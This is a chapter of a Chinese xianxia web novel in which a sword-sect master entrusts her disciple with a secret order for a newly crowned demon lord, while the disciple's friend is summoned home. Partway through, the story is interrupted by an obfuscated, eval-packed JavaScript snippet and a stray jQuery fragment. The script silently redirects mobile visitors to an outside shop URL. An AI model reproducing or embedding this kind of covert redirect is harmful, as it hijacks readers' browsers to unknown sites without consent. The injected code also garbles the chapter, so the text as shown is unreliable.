文趣网 > 其他小说 > 转修无情道后 > 14. 来信
    “江江...松开...我说的...不是那个。”谢鸾衣努力憋出这几个字。

    江月明依言松手,看见谢鸾衣快速掏出几张符箓贴在两人身上。

    缓了一口气才说道:“我刚想起来自己带了避水符。”

    江月明:“...”

    谢鸾衣:“...”

    倒是有避水决,江月明境界虽够却没学到,谢鸾衣虽然学过境界却不够且一时忘记自己带了符箓,所以方才两个人才被淋了一身。

    现在倒是不着急了,避水符将雨丝与她们隔绝开,于是平日里总是急忙避开的雨景得以慢慢观赏。

    林荫深深,雨打竹叶,天时将入夏,一场雨水带走了多日的闷热,凉风习习,暑热消散。

    两个小姑娘按照既定的计划,一个舞剑,一个抚琴。

    时光飞逝,练剑的依旧练剑,抚琴的却改为画符。

    谢鸾衣这些年几乎是每日一跑凌霄峰,在这的时间几乎能赶上在灵照峰的时间了,反正她出身符修世家,入宗门拜师是世家子弟的必修课。

    岑雪照这些年倒也老老实实的呆在自己的灵照峰上教导容峋,当年软糯少年也成长为,呃,依旧是个软糯少年。

    “师姐,师尊说你家中来信,令你归家。”容峋小跑到她们面前,手里还拿着一封信函。

    他比江月明还小两岁,如今也不过十六岁,也没开始长个,是最矮的。

    三人早已从学堂结课,容峋随岑雪照学习符箓卜算,平日没事也经常与谢鸾衣来找江月明玩。

    云凝翠鼓励江月明多交些朋友,担心自家徒弟没有同龄人一起玩,还专门为她们在桃林里建了凉亭,支了桌子凳子供她们画符卜算休憩。

    于是凌霄峰后山桃林便经常出现这样的场景,凉亭里一人拿着龟甲念念有词,一人伏在桌子上奋笔画符,旁边摆满了朱砂黄纸,还有一人在凉亭外练剑。

    三人里江月明修为最高,已是筑基圆满,谢鸾衣次之,刚到筑基后期,容峋修为最低,只是练气期。

    谢鸾衣从容峋手里接过家书,打开慢慢看着,不过薄薄的一张纸,却让她的眉头越来越皱。

    “江江,我家里出了些事情,这些时日不能陪你了,你要好好练剑,好好吃饭,好好想我。”谢鸾衣语气沉重地对江月明交代。

    “嗯嗯。”江月明不明就里地应答道,她想问谢鸾衣出了什么事,让她那么忧心,却见她没有要说的意思,只好作罢。

    被遣来送信懵懵的谢鸾衣的嫡系师弟容峋,他期待地看着谢鸾衣,指望她也像对江月明一样交代他几句,却只得到一句:“照顾好江江。”

    容峋失落地垂下头,心里暗暗想着:“也算是对我说的。”却突然感觉头顶传来一阵温度。

    他懵懂地抬起眸子,看见谢鸾衣站在他的面前,用着难得一见的温柔神情看着他:“也照顾好自己。”

    容峋脸色爆红急忙说:“好的,师姐!”

    谢鸾衣明显没注意到他的表情,急匆匆的召唤灵鸟前往灵照峰收拾行李。

    站在旁边将一切尽收眼底的江月明:“......”

    容峋愣着摸了摸头顶的温度,知道确认尽数消失才好像回神。

    江月明刻意地咳了咳,提醒容峋自己的存在。

    容峋脸上好不容易退下的热度又生了起来。

    “江师姐,我先走啦,明日再来找你,你要好好照顾自己,不然我师姐回来真的会揍我的。”容峋掩饰神色沿着小路跑下了山。

    江月明无奈摇了摇头,拿着自己好不容易从木剑升级成的铁剑去主殿找师尊。

    甫一进殿,便看见正伏案批阅文书的云凝翠和趴在她肩头无聊摆弄师尊头发的李岫玉。

    云凝翠好像早有预料的问:“谢鸾衣离峰了吗?”

    江月明点了点头,问道:“师尊知道是发生了什么事吗,徒儿有点担心她。”

    “谢家老祖飞升失败,寿元将尽,谢鸾衣身为少主,自当回去。”李岫玉幽幽说道。

    观明界有史所载的飞升者唯有当年随人皇征战的帝师,但自其飞升后便再无人飞升,有传言说是因人皇扰乱天地规则,触怒天道,降下惩罚,所以自帝师之后观明界最高境界不过渡劫,

    各大宗门千年前历经大战,渡劫老祖尽数战死,谢家的是唯一活下来的。

    那人苟延残喘到现在,往前一步是九死一生,退后是十死无生,若非寿元将尽,他也不会殊死一搏,如今不过认命罢了。

    而云凝翠是那场大战后观明界第一个也是唯一一个渡劫期大能,如今谢家老祖的失败让李岫玉不得不担心云凝翠。

    江月明显然在李岫玉说出时也想到了这点。

    两个人都忧虑的看着她,云凝翠心里一暖:“我如今尚能压制境界,不用担心我。”

    她说着看向江月明:“月明,你来的正好,我有一事要交给你去做。”

    “师尊请说。”

    “魔界近日易主,新任魔尊据说在宴席之上单枪匹马挑了旧主的头,此后一人一剑战八大魔将不落下风,将他们打的心服口服,尊其为主。”

    云凝翠初闻时便不可置信,如今说来满是惊叹,据说那新主未过百岁,若是有意与仙门开战必是大患。

    如今处于特殊时期,还剩不到百年便是约定的时日了,更何论凡界仍处于战乱,自垣朝覆灭后再无人能一统天下。

    百姓流离,仙门碍于天道不能插手人间朝堂之事,只能眼睁睁看着烽烟四起,百姓不宁。

    饶是如云凝翠一般的大能也只能护住自家宗门及宗门范围的百姓,至于其他,实在无能为力。

    岑雪照如今闭门不出便是因为当初在外不忍百姓受战争之苦,一卦泄天机,致天道降罚于身,根基大损。

    自古多情空余恨,有时候她们也会宁愿自己是那无情人,便能看众生悲鸣而无动于衷,可是她们不是,便只能看,只能听,让多情伤身。

    众生的每一次哀嚎都好像天道在蔑视嘲笑她们,嘲笑她们空有一身修为,不敢妄动,蔑视她们再位高权重也不过如蝼蚁一般。

    天生万物,却是玩物。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17860899|211987||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    人间界便如蛊场一般,任他们厮杀,任尸骨遍野,最后得到一只最强的蛊虫,走到它的面前任其揉搓。

    若是反抗便死路一条,当年的人皇和垣朝便是前车之鉴。

    垣,断壁残垣,史载,是帝师占卜后上天所赐的国号,是警告,是轻视。

    胜利者最终得到败者的名号,也只能无可奈何的接受。

    云凝翠深呼一口气,李岫玉也站直身体,两人走下高位,站在江月明面前。

    云凝翠亲手将一道深紫密令交到江月明手上。

    她说道:“月明,我要你代表多情剑宗去参加新任魔尊的即位大典,并将这道密令交给魔尊,他看后就会知道了,成与不成,就在与他。”

    云凝翠说完最后一句,到了最想交代的:“你也卡在瓶颈多日,送完信后,可自行游历,但要记住,按时来信,不要让我担心。”

    李岫玉瞪了云凝翠一眼,更正道:“是不要让我们担心。”

    等李岫玉说完,云凝翠才继续说:

    “你是这一代最出色的弟子,为师与你的师叔们不能随意行动,此事便只能靠你了。”

    云凝翠说着,与李岫玉往后退一步,两个人一同拜了拜江月明。

    江月明大惊,不敢受这礼,跪下说道:“尊长之礼,月明难受,定亲自将密令交给魔尊。”

    李岫玉扶起江月明,轻抚她的头顶,神情恍惚,当年仅到她胸口的小姑娘,如今也要踮脚才能摸到头顶了,真是长大了。

    “若非我们无可奈何,也不会让你走这一遭,事急从权,现在去收拾收拾行李,明日便下山吧,不用告知我们,也不要声张。”

    江月明低头方便李岫玉的手放上去,低声应是。

    二人直到江月明的身影走远才收回注视的目光。

    云凝翠看着殿外,方才还晴朗的天如今阴云密布,山雨欲来。

    她若有所思的说:“岫玉,这天要变了。”

    李岫玉嘴唇轻动要说些什么,却被云凝翠以手抵唇制止了。

    她转头与李岫玉对视着,眼眸是一向的沉静,看似无波无澜。

    李岫玉无奈也只能握紧云凝翠的手,看着她。

    两人并肩站着,身姿笔直,如亘古的重剑,出鞘便斩世间阴谋诡谲。

    师姐,万事有我陪你,这是李岫玉要说却被制止住的话,云凝翠总喜欢自己扛着所有责任,却不管自己身后的人愿不愿意,从小到大。

    她可以制住人的行动,却制不住她的心,若真到了那一天,岫玉定不让师姐孤身一人,愿,同往。

    另一边,江月明正在收拾自己的行李,她的东西的大多都是师长、谢鸾衣和容峋所赠,重要的东西都放在储物戒中随身带着,收拾起来倒也容易,不一会就好了。

    师尊说她此次是秘密行动,不可告诉外人,她明日就要下山了,本是担忧一一所以才去的,没想到自己也要下山。

    但转念一想,自己送完信,也能去看一一,说不定还能和她一起归宗,想到这,她的心情又变得好些了。